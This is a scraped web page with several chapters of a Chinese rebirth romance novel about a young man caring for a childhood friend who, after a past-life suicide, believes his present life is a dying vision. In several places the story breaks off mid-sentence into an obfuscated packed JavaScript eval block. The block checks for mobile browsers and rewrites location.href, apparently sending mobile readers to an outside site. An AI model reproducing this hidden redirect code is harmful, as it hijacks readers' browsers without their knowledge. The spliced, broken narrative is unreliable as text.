《暗恋太苦》 3. 第 3 章 十六岁的江知秋喜欢他,他知道。 二十六岁的江知秋早就不想活了,周衡也知道。 江知秋第一次自杀被周衡及时发现才救下来,那个凌乱的晚上他第一次利用江知秋的喜欢,要江知秋答应他只要还喜欢他一天,就要为他多活下来一天。 那个时候周衡已经别无他法,只能用这种办法留住他。 但江知秋还是自杀了。 周衡心脏重重一沉,僵在原地。 江知秋看着有些精神不济,很快重新闭上眼,像是没看到站在门口的周衡。 周衡轻轻吐出一口气走进病房,语气轻松和费阳说话,“秋儿醒了?” 费阳没注意到刚才那一幕,看了眼江知秋才说,“刚才醒了,这会儿又睡了。” 周衡手放在江知秋的额头试了下他的体温。 被触碰的感觉像是隔着一层厚厚的膜,江知秋昏昏沉沉间感觉到的微乎其微,没什么反应,周衡坐在床边看着他。 费阳在旁边不知道为什么感觉自己有点格格不入,挠了挠脸想说点什么打破这奇怪的气氛,病房门突然从外面打开,陈雪兰和江渡一起进来。 周衡站起身,“陈姨,江叔。” “诶。秋儿睡着了?”陈雪兰看了眼儿子放轻声音,“你们还没吃饭吧?我让你们江叔给你们买了点饭,今天谢谢你们送秋儿来医院。” 费阳有些尴尬,“没事儿阿姨,本来如果不是我非要带秋儿去泡温泉说不定都没事。” “秋儿这两天一直生病,我们本来也打算下午带他来医院看看。”江渡将带来的饭菜摆出来,“你俩快来吃点,别饿着了。” 江知秋隐约听到父母的声音,睁眼看过来。 周衡一直留意着他,他一睁眼他就看过去和他对上了视线,这次江知秋的目光在他身上落得久了点,然后才看向陈雪兰和江渡,也不说话,就这么静静看着。 周衡皱了下眉,感觉他有些不太对劲,却又说不上来。 陈雪兰跟着他的目光也看到了她儿子那双大眼睛,噗嗤笑出声,坐在床边摸着他的脑门说,“饿了没?” 江知秋摇头。 “是这个病房吧?” “前面。” 赵嘉羽和伍乐的声音一前一后在病房外响起,费阳连忙刨了两口饭出去叫人,“这儿!” 伍乐和赵嘉羽一人拎了一袋盒饭,指着费阳的油嘴骂骂咧咧,“我操费阳你小子背着我们偷吃?!” “嘘!嘘!说什么呢!”费阳忙比了个噤声的动作,“秋儿爸妈刚送来的,还在呢。” 伍乐和赵嘉羽立马闭上嘴。 进门看到陈雪兰和江渡,两人尴尬叫了声江叔和陈姨,看到周衡也在差点又飚了句脏话,“我咳……周衡?!” 周衡看见他们,目光微顿。 男孩子们私下说说脏话,面上对长辈还是尊敬的,陈雪兰和江渡都当没听到刚才的脏话,让他们进来吃饭。 等伍乐和赵嘉羽进来后狭窄的病房里几乎都是人。 江渡给儿子熬了粥,江知秋没什么胃口,但陈雪兰还是给他盛了点,要他好歹吃点。 “我来,陈姨。”周衡接过保温桶。 “衡儿现在怎么还在温泉?”陈雪兰问周衡,“你爸妈不是说你今天上午的车吗?” “就是!你小子怎么还在?”费阳立马跟上,“我和伍乐他们可是早上一起送你上的车。” 周衡把盛出来的粥放到江知秋身前的小桌板,手一顿,“有点事先回来了,七中还没开学,暂时还不急去蓉城,等过两天再说。”他拆出饭勺塞到江知秋手里,放柔声音,“吃。” 江知秋慢吞吞握住了饭勺。 陈雪兰没待多久,江渡下午有事,这几个男孩和江知秋关系好,放心把儿子交给他们,夫妻俩一起走了。 吊瓶里的液体见了底,周衡握着江知秋有些冰凉的手,踢了脚费阳打发他去叫护士来拔针。 “卧槽,就知道使唤我。”费阳拍了下裤脚,骂骂咧咧地去了。他一走,病房里就只剩下伍乐和赵嘉羽还在。 “衡哥今天怎么怪怪的。”伍乐凑到赵嘉羽耳边说,他感觉周衡不太乐意搭理他们,明明早上送他上车的时候周衡还唠唠叨叨让他们帮忙看着点秋儿,现在就跟变了个人似的。 “起开。”赵嘉羽推开他脑袋,看了眼周衡。 周衡比他们都大一岁,之所以和他们同级也是因为江知秋小时候身体不好,两家父母为了让他有个照应商量让周衡晚了一年升小学,两人平时就好得跟连体婴似的,早上江知秋没去送周衡他们都还在奇怪,现在看到周衡突然回来了又觉得正常。 感觉到他俩的视线,周衡看过去,但很快收回眼神,发现江知秋又闭上了眼睛,似乎对周围的所有人和事都漠不关心,身上的游离感很强,双眼紧闭、脸色苍白憔悴的模样看起来比前世还要死气沉沉。 周衡心脏发闷,在弄清楚江知秋现在的情况之前不敢轻易坦白他重生的事,最后只是掖了掖他的被子。 费阳很快领着护士回来,周衡起身让护士给江知秋拔针。 伍乐终于忍不住问周衡,“你和秋儿闹矛盾了?” 周衡觉得奇怪,“你哪只眼看我和秋儿闹矛盾了?” “那秋儿为什么不搭理你?”费阳也插话,“早上也没来送你。” 周衡摸摸鼻子,想起这回事。 他十六七岁的时候有点血气方刚,在他离开的前两天江知秋来找他,他刚好来了点兴致,结果被江知秋撞了个正着。 他和江知秋都是男的,关系又比亲兄弟还亲,周衡压根不介意被他撞到,还十分乐意给他看,但江知秋不知道为什么从那天起就一直躲着他,不仅不准他去找他,他走的那天也没来送他,周衡原本以为他只是在伤心他离开,后来知道江知秋喜欢他之后才渐渐回过味。 “……”周衡看着病床上的江知秋,“真没闹矛盾,我俩关系好着呢。” 费阳和伍乐看着半信半疑。 “你打算什么时候走?”赵嘉羽问。 “再说吧。”周衡神色淡淡,“学籍没转走,错过七中开学继续留在这上学也一样。” 赵嘉羽皱了下眉,看了他一眼,想说什么又没说。 输完液江知秋的体温就降下去了,但还是看着病恹恹的不太好,医生没让他出院,费阳三人在病房闲得没事干开了几把游戏,周衡嫌他们吵,把三个人一起撵走,自己留下来守着江知秋。 江知秋一直在睡,中途醒了几次看到周衡也没什么反应,没醒一会儿又睡了。 “秋儿还在睡?”晚上陈雪兰下班和江渡一起过来,“秋儿交给我就行,你回家吧,你妈在外面等你。” 周衡刚下车林冬月就跟周衡的亲妈林蕙兰通风报信,林蕙兰没空亲自来收拾他,给他打了几个电话他没接,周衡最后看了眼江知秋,起身准备离开的时候江知秋突然睁开眼。 “醒了?”陈雪兰弯腰摸他的脸,让江渡把床头升起来,“睡这么久,头晕不晕?吃完饭去透透气?” 江知秋好一会儿才说,“不想动。” “那可不行。”江渡笑着说,“你可睡了一天了儿子,听话。” “好吧。” 周衡站在不远安静看了会儿,没打扰他们,悄无声息打开门准备离开,耳朵突然一紧,顿时倒吸一口冷气,微微偏过头看见亲妈林蕙兰一脸怒容拎着他耳朵,“给我滚过来!” 病房里的一家三口闻声看过来,周衡下意识将亲妈挡在身后,顺手关上门,“滚滚滚我跟您滚,别拧耳朵,大庭广众之下给您儿子留点面子成么?” “你还想要面子?!你老妈我都要被你气死了!” 有人忍着笑打趣,“哟林姐,又在教训儿子呢?” “……” 外面的动静越来越远,江渡和陈雪兰对视一眼后忍俊不禁,“今天多亏了衡儿,你去劝劝林姐?” “早说过了,林姐不让劝。”陈雪兰笑着摇头。 江知秋看了眼病房门口,眼底浮现淡淡的疑惑,又很快转回去看着爸妈。 以往他也生病,但从来没像这次蔫成这样,跟没了精神气似的,话也不爱说,就爱拿那双大眼睛看着爸妈,陈雪兰和江渡实在心疼儿子,一连在医院住了几天,结果病倒是好得差不多了,人还是不爱动弹的状态,连费阳和伍乐、赵嘉羽来看他他也这样,像是完全封闭了自己,夫妻俩愁得不行。 眼看着马上步入三月,这段时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16024521|178566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间的天气渐渐好了点,江渡把躺椅搬到院子里让江知秋躺下来晒太阳,江知秋一躺就能躺一天,连动作都不变。 这两天周家不太安宁,周衡消失几天后终于在开学前一天出现。 他来的时候江渡在家,看到他很惊讶,“你还没去蓉城啊?” “没去。”周衡笑了笑说,“我来找秋儿,他在楼上还是楼下?” “院子里呢。”江渡指了指身后摇椅上盖着毛毯的那团玩意儿,“你去看看他。” “行。” 他们说话也没压低声音,江知秋却像是没听到,周衡在他面前蹲下看了他好一会儿也没见他有反应。 今天太阳不错,江知秋估计晒了有段时间,脸上的那两颗小痣颜色看起来没那么暗淡,脸色看起来比前两天在医院的时候要健康一些,但还是有点苍白。 周衡小心将手放在他心口,半晌才轻声叫他,“秋秋?” 叫了好几声,江知秋像才听到有人叫他睁开眼,迎着日光瞳色清浅,漂亮的眼睛里映着周衡淡淡的倒影,却又好像什么都没有,他的眼睛没有聚焦,眼底没有丝毫波动。 周衡突然有种江知秋没有完全重生,只有一个空荡荡的躯壳浮萍般随波逐流的感觉。 比前世他跳楼前的状态还要差。 周衡起身打开院墙边的水龙头,冲了好几分钟冷水才关掉,擦干手重新蹲到江知秋面前,手轻轻贴到他脸上。 江知秋好一会儿才感觉到他手上的寒气,迟钝地被冻得打了个哆嗦,眼睛终于聚焦落到他脸上,往后缩了缩脖子。 “冷吗?”周衡笑着问,没追上去弄他。 江知秋慢慢点头,“……嗯。” 江渡听到儿子的声音转头看了眼,心里松了口气,把院子留给他们上楼去了。 “我不去蓉城七中了。”周衡放轻声音,“我留下来和你一起上学。行不?” 周衡在学习上的确有点天赋,上辈子高考成绩排名在全省前一百,记忆力也还行,蓉城七中的教学模式和学习资料他上辈子都接触过,他跟林蕙兰回家后就立马衡量了利弊,跟父母说了放弃转去七中。 江知秋没重生他都不放心再离开一次,更别提江知秋也跟着重生了,状态还不对劲。 林蕙兰和周父无法理解,周衡也没办法跟他们解释,折腾几天后双方各退一步,周衡如果保证这个学期期末能考700分以上就不用转去蓉城七中。 江知秋静静听着,不说话。 周衡继续说,“那天我把你从水里捞出来,你说的走马灯是什么意思?” 这两天他一直在想这件事。 江知秋手冷,周衡捧着他的手搓了搓,好半天才搓热,哄他说话,“嗯?说话。秋儿,告诉哥。哥想知道。” “这个。”江知秋终于开口,“这个就是。” 周衡追问,“什么意思?” “现在就是。”江知秋缓缓眨了下眼睛,在坠落的眩晕中轻声说,“你就是。” “真的好长。” “我看了好久还没看完,好累。” “我不想看了,我想睡觉。” 周衡心微微一沉,终于知道他为什么总能感觉到江知秋身上有一股强烈的游离感。 江知秋根本没有意识到他已经重生,而是误以为他现在正在临死前的走马灯里,所有人都是他看到的幻觉,所以他从来没有表情变化,就算他没有像前世那样离开也只是静静看着,因为他觉得这是假的。 等他看完十六岁到二十六岁的走马灯,他就可以死了。 周衡呼吸微微颤抖起来,心底泛起密密麻麻的痛楚。 但他没有立即反驳江知秋,而是抱他起身坐到墙边水池边,打开水龙头,清澈冰冷的水哗哗涌出,他牵起江知秋的手放在流动的水流下,冷水瞬间将他和江知秋的手一起冻得通红,“冷吗?” 感官迟钝地将手指的感觉传到神经末梢,江知秋被他捉着手,想缩却缩不了,“冷。” 周衡将水调到最大,水流用力砸在手上,江知秋想了想又说,“有点疼。” 周衡循循善诱,“在走马灯里可以感受到这些吗?” 江知秋有些怔愣,像是在思考,半晌摇头,“我不知道。” 4. 第 4 章 水流的流动和温度、以及被冻红的指尖和发疼的指骨似乎都是真实的。 江知秋还盯着手指看,周衡没想这么一下就能剥开他的茧让他意识到他现在是重生而非走马灯,这个天的水冻得人骨头疼,他关了水带江知秋回摇椅拿纸巾给他擦手,江知秋视线从手指挪到他脸上。 周衡将他的手放进小毛毯,又去拿了暖水袋让他捧着,做完这些后见江知秋还看着他,“怎么了,这么看着哥?” 江知秋捏着暖水袋毛绒绒的边角眨了下眼,下巴半掩在小毛毯里小幅度摇头。 周衡揉他的头发,找了张椅子坐在躺椅边陪他晒了一下午太阳,暂时没告诉他车祸没发生的事,傍晚太阳消失后他带江知秋回楼上吹暖气,等天色彻底黑下来之后才准备回家,临走前和江知秋商量,“明天早上我骑车来接你。早点起床,嗯?” “好。”江知秋答应了。 周衡于是又揉了下他的脑袋。 江知秋坐在床上目送他离开。 温泉中学的大部分学生都是附近乡镇上的,住校生多,虽然第二天才开学,但住校生都提前了一天返校,原本走读生也应该和他们一起去学校提前适应开学,但江知秋和周衡都没去,等正式开学当天才去学校。 早上天色薄亮,雾色蒙蒙,院子里打了一层薄薄的霜。 陈雪兰六点进来叫江知秋起床吃早饭,六点二十的时候周衡在院门外拨车铃,中气十足的声音伴随清脆车铃破开薄雾,“秋儿!好了吗?” 院子里陈雪兰替江知秋答了声,“马上来!” 江知秋过了会才出来,人看着还困恹恹的没什么精神,身上穿了件羽绒外套,里面还把校服拉链拉到最上面,拉链在下巴底下随着走动一路摇晃,温泉中学原本有些土气的校服穿在他身上反而显得他俊秀挺拔,身上又有点独特的忧郁气质,唇红齿白的,比小说里的校园男神还漂亮迷人。 周衡穿得和他差不多,在外面套了件长款薄羽绒服,敞着拉链露着里面的校服,单腿斜支着单车,接过江知秋的单肩包挂前面,往后面一扬头,“上来。” 江知秋慢吞吞坐下来,周衡拉起他的手放在腰间提醒,“抱好,待会别摔了。” “哦。”江知秋拽住了他腰间的羽绒服。 周衡朝后瞥了眼,勾起脚踏踩下去,车轮碾过青石板的白霜留下一串淡淡的车轮印,单车载着两人驶进薄雾,车轮碾过青石板时不时发出沉闷的咔哒声。 2016年的温泉镇还没乘借短视频的东风发展起来,商业化和现代化都不如十年后,不少老建筑都还在,没公交,本地的学生上学基本靠两条腿,江知秋和周衡住在老建筑这边,都是独栋小院,骑车去学校只需要十分钟。 天气还没彻底转暖,早上的风迎面刮过来有些冷冽,江知秋被风冻着了就往周衡身后躲,周衡身材高大,肩膀也比他宽,帮他把风挡了大半。 周衡感觉到身后的小动作勾了下唇角。 温泉中学面积不大,只有三栋教学楼。 他们到学校的时候还没打铃,班主任也没来,教室里和记忆中每次开学一样,乱糟糟都是说话声,没什么特别的。 但周衡和江知秋进来的时候教室还是安静了一瞬。 有人回过神一拍桌子,指着周衡说,“卧槽你小子不是转走了吗??” “没。”周衡环顾一眼教室,找到座位后径直拎着他和江知秋的书包过去。 江知秋一直和他是同桌,但他记忆再好也记不住十年前他和江知秋在这里上学时坐在哪儿,昨天费阳来教室领教材的时候他拐着弯问了,现在带江知秋去座位时才没有犹豫。 伍乐和赵嘉羽坐在两人后桌,现在不在座位上,只有水杯在,费阳还没来,他们前面的座位空着一个。三人昨天下午来学校的时候帮江知秋和周衡领了教材,顺便帮他们理好了整整齐齐码在桌肚里。 江知秋坐下来就趴下了,周衡看了他一眼,想起什么手伸进他的单肩包,果然掏出一个还带着一点余温的熟鸡蛋,轻轻笑了一下。 江知秋从小就不爱吃鸡蛋,偏偏他爸妈时不时给他煮一个补身体,小时候偷偷藏冰箱被发现后他就每次都揣到学校,要么塞给他要么给费阳他们,重生来了一遍还是这样。 怪可爱的。 周衡趁还有余温剥了蛋三两口吃了,顺便翻开教材看了一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他依旧感觉眩晕,消极的脑袋一闪而过了一些画面,断断续续的,不太能拼凑得起来。 周衡知道他现在是什么状态,不想逼他太紧,没让他一定要想起来什么。 张正是他们的班主任兼年级教导主任,在他们高一下学期刚开学的那几天去黑网吧抓学生,刚好遇到学生和小混混打架,他为了保护学生被小混混捅了一刀摘了颗肾,再加上年纪大了,身体机能不如年轻人,学校让他提前退休养身体去了。 算算时间,也就是这两天的事。 5.第 5 章 新学期开学流程千篇一律,张正在讲台上训完话后不久就让他们去操场参加开学典礼,教学楼顿时变得熙熙攘攘。 周衡几人没着急下去,张正朝他们这个方向看过去,留意到江知秋脸色不好,提醒了一句,“江知秋要是身体不舒服就留在教室休息。 还没离开教室的同学有几个转头看过来,江知秋反应慢半拍,“好。” 张正看了眼费阳套在羽绒服外的校服,心说怎么穿得跟头熊似的,懒得再看,结果看到周衡,又叹口气糟心背着手走了。 周衡玩心重,爱跳,虽然有时候会让家长和老师操心,但和听话乖巧的江知秋一样是个好苗子,蓉城七中条件比他们这好太多,张正上学期听说他要转去七中的时候又惋惜又替他高兴,前两天听说他又不走了之后虽然也高兴,但还是语重心长找他谈过话,可惜没能劝动他。 下面有学生会的查校牌,周衡将校牌挂脖子上,望了眼教室前面的直饮机,抽出水卡转头对江知秋说,“你头晕就留在教室别下去,我去给你接点水。” “好。” 广播里的运动员进行曲已经进入后半部分,江知秋埋在臂弯看着周衡几人离开,伍乐和赵嘉羽并肩走在后面。四人走出教室后江知秋把脸完全埋进臂弯听了会广播,又站起来慢慢走出教室,站在走廊往下看。 太阳已经出来了,早上的雾却还是没散开,能见度有些低。 周衡几人刚到楼下,费阳和周衡走一起,转头和身后的伍乐和赵嘉羽说着话,江知秋在四楼,广播太吵,什么都没听到。 江知秋低头看了会,四个人突然停下来一齐朝后看,一个女孩快步走下台阶,走近和他们说话。 “周衡!”女生是隔壁理科班的物理课代表庄莹,之前经常和周衡被物理老师抓壮丁去帮忙,跟费阳他们不算很熟,主要还是冲周衡来的,很高兴,“原来你真没走啊?我听他们说刚才看到你了还以为他们耍我呢我靠!” 费阳三人齐刷刷看向周衡。 周衡心里想着事走在最前面,听到她的话转头扫了眼她校牌上的名字,只觉得这女孩有点眼熟,没想起来是谁,正要开口忽然感觉有人在看着自己立即敏觉回头,教学楼只有几个还没来得及下楼的男生拎着凳子在楼道飞奔,没有人在看他,但周衡并不觉得自己刚才感觉错了。 庄莹奇怪跟着回头看了眼,“怎么了?” “没事。”周衡说。 “昂行,那我们下次再聊。拜拜!”庄莹只是过来打声招呼,眼看着已经有老师拿话筒开始骂他们这些拖拖拉拉还没到场地的人,连忙和他们分开了 。 她走了之后费阳才捅咕了一下周衡挤眉弄眼,“什么情况?” “滚蛋。”周衡低骂了句。 被费阳这么一打混,他倒是想起来了一些事。 他和江知秋之间最大的障碍就是他之前很多年都是直男。 在他和江知秋的关系转变之前,他虽然没谈过恋爱、喜欢过什么人,但的确是直男,对异性才有那方面的冲动,遇到好看的异性也会多看两眼,但都仅仅止步于欣赏,在江知秋对他表明性向之前他甚至没想过两个男的会有可能。 而高中时期他和庄莹传过那么一小段时间的绯闻。 他和庄莹经常去办公室帮老师做事,几次下来关系不错,被人撞见的次数多了一些捕风捉影的谣言就起来了。 周衡被张正叫到办公室敞开心扉和他聊情窦初开的少男往事时还觉得他莫名其妙,一头雾水从办公室出来才知道他原来有女朋友了,甚至江知秋都比他先知道,他找庄莹澄清,又转到七中去之后这些传言才消停。 当年的细枝末节周衡都忘得差不多,连庄莹站他面前都要费点功夫去回忆这是谁,他当时并不知道那个时候江知秋就已经喜欢他,所以只有知道自己被造谣之后的无语和愤怒,现在再回忆起来才意识到江知秋当初听到绯闻后选择沉默不语下的苦涩和黯然神伤。 2016年的温泉镇风气还没那么开放,喜欢同性会被视作异类,歧视和排挤无处不在,江知秋从小身体就不好,一直被他照顾,其实自尊心很强,自尊一直拖着他让他选择体面,也让他最忙、最忽视他的那段时间选择了识趣不打扰,连陈雪兰和江渡去世这种大事都没亲口告诉他。 这些事周衡都是后知后觉。 不管他是否对江知秋有情爱之间的喜欢,不可否认的是他很心疼江知秋。 周衡又看了眼教学楼,转回来时费阳跟他对上视线,立马做了个给自己嘴拉上拉链的动作。 “……” 操场离教学楼只有几百米的距离,四楼听到的声音也只比操场的弱一点,江知秋枕着这些声音睡了会儿,很快周围渐渐有了说话声,他没动,直到身边有人坐下来,他才露了点眼睛出来,看到是周衡又埋了回去。 “刚才出去了?”周衡碰了下他后脑的发尾。 江知秋又露出一只眼,“嗯。” “看到我和庄莹说话了?”周衡顿了顿补充,“就是刚才在楼下和我说话的那个女生。” 江知秋慢吞吞思考了一会他的话,“嗯。” 反应倒是平平淡淡的,没什么特别。 “我和她没什么。”周衡轻描淡写,“就是遇到了说两句话。” 江知秋眨眨眼,“哦。” 周衡心里叹了口气,无奈轻轻拍他的后脑勺。 教室里哄哄糟糟,没多久打了第一道预备上课铃。 第一节课是语文课。 他们的语文老师艾若雁课上出了名的严格,她的名字在几个学校里都赫赫有名,新学期第一节课的纪律和学生的注意力通常让人头疼,张正索性把她的课排到第一节课让她来管班里的皮猴儿。 还没打第二道正式上课铃艾若雁就来了,不轻不重放下书和小蜜蜂站在讲台上环顾一圈教室,不到十秒原本还有些躁动的教室就安静得地上掉根针都能听到。 江知秋慢吞吞坐起来,像是不能承受脑袋之重似地撑着脑袋,艾若雁看了他好几眼,大概张正和她说过什么,她没说江知秋,抄着手慢慢从讲台上踱步下来给下马威,“今天刚开学,我知道你们心还没从寒假收回来……” 众皮猴老老实实看着她,乖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“?”费阳奇怪问,“你俩想去干嘛?” “帅哥的事你少管。” “呸!谁管你?我管秋儿呢!” “也少管。” 费阳愤怒拍桌,“老子就管!你问过秋儿愿意吗?” 江知秋趴在桌上无辜眨眼,周衡低头问他,“中午要不要跟哥走?” 江知秋点头。 费阳,“……” 中午最后一节课下课住校生飞奔冲向食堂,温泉中学将近三千号人,吃饭高峰期人流量大得吓人,费阳三人也先去店里占位置,周衡带着江知秋等人走得差不多之后才起身,他从停车棚推自行车出来,江知秋乖乖走在他身边。 周衡偏头看他一眼,心说第一节课下课的时候谁问他要不要一起走他都会答应,就算不答应强行带他走他也会跟着去。 江知秋现在跟个人机似的,意识离线,只有身体还在挂机,戳一下给一个反应,但多的一点没有。 6.第 6 章 可爱是可爱,但看着让人焦心。 前世江知秋状态最差的时候也是周衡在身边,知道他的问题一时急不来,周衡打算趁午休时间带他去附近走走,现在多接触外界对他有好处。 中午太阳已经出来了,晒得人身体微微发热,周衡将粉挂在车把手,脱了外面的羽绒服系在腰间回头看江知秋,看到江知秋脸被晒得微微发红。 现在虽然有太阳,但待会骑起来有风,江知秋身体才刚好,脱了衣服吹风估计又得感冒,周衡犹豫了一下还是没帮他脱外套。 午休时间不长,周衡没办法带他走太远,骑车带他去了河边的草地。 这条河主干在镇外,几条分支穿过温泉镇,水流量也还算大,以前要是遇到多雨的夏季两边河岸都会淹起来,镇上从2010年后一直在治理,修高了堤坝防止涨水,水体也变得清澈,河两岸建了供行人休息的亭子,现在没人,周衡把车停在亭子外,带江知秋进去。 江知秋不爱说话,吃饭也斯斯文文的没吃多少,周衡吃完后陪他去堤岸的草地上躺了一个小时。 这段时间都是晴天,草地干干净净,草皮枯黄中点缀着星星点点的绿意,底下初春的寒气都已经被太阳驱散,正好适合躺在上面。 太阳晒在身上很舒服,江知秋侧着身微微垂着头枕在周衡用外套给他做的枕头上昏昏欲睡,从河面来的微风轻轻撩动他鬓边的发丝。 周衡看了他一会儿,转回去漫无目的看着天上的白云,忽然有些发愁地想——下雨了江知秋还知道往家里跑吗? 想到这里周衡反倒笑了下,听着从自然白噪音中剥离出来属于江知秋的呼吸声浅眠了一会儿。 直到午休时间快结束,他才叫江知秋起来。 江知秋晒得正舒服,睁眼看他一眼又闭上了。 “还不想起来?”周衡蹲在他身边,见他没反应,好笑地弯了下唇角,伸手碰他的脸,放柔声音,“嗯?” 江知秋连眼皮都懒得再动,被他又问了一遍才慢吞吞“嗯”了一声。 周衡看了眼时间,没急着催他起来,去亭子边把自行车推过来,重新坐在江知秋脑袋边挡了他的太阳,江知秋没太阳晒之后终于睁开眼,一言不发盯着周衡看。 像是在责怪周衡挡了他的太阳。 周衡被他这反应逗得笑了声,他就是故意的,又问,“现在想起来了吗?” “……嗯。” 江知秋撑着坐起来,周衡拿起衣服做的枕头拍干净草屑穿好,带江知秋回学校去。 到学校的时候刚好打午休的下课铃,教学楼安静了几分钟后才渐渐有了说话声,周衡和江知秋回去的时候费阳和其他两个人都还没回来。 “喝点水。”早上给他接的水一点没动,周衡打开江知秋的保温杯试了下温度才给他倒在杯盖让他喝。 江知秋接过去,过了会将空杯盖还给他。 钱朗转头跟他们说话,“跟我们去网吧开黑不周哥?隔壁班那个王萧也来。” 周衡刚要说不去,忽然想起前世张正身上发生的事,于是问,“今晚?” “明天。”钱朗压低声音,“今天老张肯定要去网吧抓人,我们先避避风头。” 他们不老实,学校老师也知道他们不老实,他们也知道学校老师知道他们不老实,直接预判了今晚会发生什么。 “行。到时候叫我。”周衡答应了,接过江知秋递过来的杯盖又给他倒了一杯,这次江知秋不接,他顺手送到自己嘴边喝了。 钱朗目光在他俩之间来回打转,总感觉一个月不见他俩和之前有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周衡带过来的还是只小奶猫,刚断奶,小肚子胖嘟嘟,身上没有一根杂毛,黑黢黢的一只小猫,到稍微黑暗点的地方就能直接消失了,被周衡把着两只前腿举到江知秋面前,一点也不怕生,圆溜的小猫眼绿莹莹,歪着小猫头盯着江知秋,尾巴慢悠悠晃啊晃,“咪呜~” “它叫啾啾,是只小公猫。”周衡蹲在江知秋面前,将小猫放到他腿上,仰头观察他的表情。 江知秋从小就招小动物喜欢,尤其是小猫小狗,是他与生俱来的能力。他太瘦了,但小猫踩在他腿上却刚好能踩稳,竖着问号小猫尾试探在他腿上迈开小爪子,柔软的爪垫在他腿上印出四枚浅浅的小猫爪印,猫毛轻轻蹭着皮肤,触感轻飘飘的,像羽毛,不太真实。 江知秋低头看着腿上的猫,许久之后才抬起手虚虚挨着它。 小猫感受到他的手,站直实打实蹭到他的掌心,小猫头在他手心来回地蹭,然后柔弱无力地往他腿上一倒,拖着音调撒娇似的要他摸,“喵~” 小猫的身体温暖柔软,江知秋过了会才迟钝感觉到,指尖完全陷进小猫的软毛中,小猫四只爪子抱住他的手,湿漉漉的鼻尖蹭来蹭去,过了会儿开始舔他的虎口,轻轻叼着咬,和他玩得很开心。 微微的刺痛,但没磨破油皮,江知秋没有抽回手,静静感受这点疼痛。 很真实的疼痛。 他没说话,周衡无法直接从他的言语中发现什么。 猫还小,牙齿和舌头都还是软的,这会又明显是在和江知秋玩儿,周衡不担心它会弄伤江知秋,看了会他们的互动才慢慢抬眼观察江知秋。 江知秋低着眉,微表情变化不太明显,但周衡知道他现在其实是在一个有些放松和愉悦的状态。 周衡重新看向他捧在掌心的猫。 这只猫还这么小,完全看不出几年后那只超级大肥猫的模样。 林蕙兰喜欢猫,以前养过一只不小心走丢后一直没再养,这两天不知道从谁家的母猫那儿定了只小猫,今天才接回来。 上辈子周衡这个时候已经去七中了,还是从江知秋这里知道的这件事。江知秋欢天喜地捧着猫拍照发给他,他没带手机,直到周末拿到手机后才看到照片和他的消息。 消息的具体内容他不太记得了,但那张照片他记得很清楚。 江知秋是在他房间拍的照片,坐在他床上,小猫也像现在这样在他腿上翻肚皮跟他亲热,他刚剪了个特别乖的顺毛,穿的最简单的校服,一边捧着猫一边弯着眼睛看镜头,明眸皓齿,眼尾的痣明媚又漂亮。 周衡看见这张照片后就顺手保存下来了,后来做自媒体不小心把照片发到网上还火了一段时间,他穿回来之前看到有人又把他这张照片翻出来,十年前的手机像素差到仿佛自带滤镜,给这张照片赋了层独特的魅力,又在网上火了一把。 网友追根溯源找到他这里,想从他的视频里看看那张照片里的少年的近况,但他早就在成立工作室后转型不再做视频,所以网友只找到那只半挂猫,于是一直在评论区追问他现在怎么样。 他不太好。 周衡半跪半蹲在江知秋面前,手臂压着膝盖。 “咚咚——”,陈雪兰打断房间的安静,“睡了吗儿子?” “我去开门?”周衡问。 江知秋看了他一眼,“嗯。” 周衡起身开门,江知秋也跟着站起来,门开后叫了声陈雪兰一声,“妈。” 小猫在他怀里咪呜一声。 “诶。”陈雪兰应了声,看见周衡在愣了愣,但这也不是什么稀罕事,两个孩子经常往对方房间跑,她很快笑着说,“衡儿也在啊?” “我刚才来的。”周衡侧身让开,解释说,“我妈今天带了只猫回来,秋儿不是也喜欢猫么,我带过来给他看看。” “我说呢,刚才怎么听到秋儿房间有猫叫。”陈雪兰没进去,只是站在门口往房间里看了一眼,“那你们玩儿,我不打扰你们了,早点睡觉。太晚了衡儿就留下来和秋儿一起睡。” “行。” 陈雪兰走后周衡才转头看江知秋,江知秋还眼巴巴望着门外。 周衡顿了顿,等江知秋主动收回视线后才说,“今晚让啾啾留下来陪你?” 江知秋看他。 “呼吸就是同意了。”周衡垂眸捏了下他的脸颊,“赶紧睡吧,明天还要早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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8.第 8 章 早上起来梦里江知秋的声音还没完全消失,周衡洗漱的时候心都还在打颤。 林蕙兰起床后在家里一通翻箱倒柜,最后空着手纳闷,“我的猫呢?”昨天才接回来又丢了? “喵。” 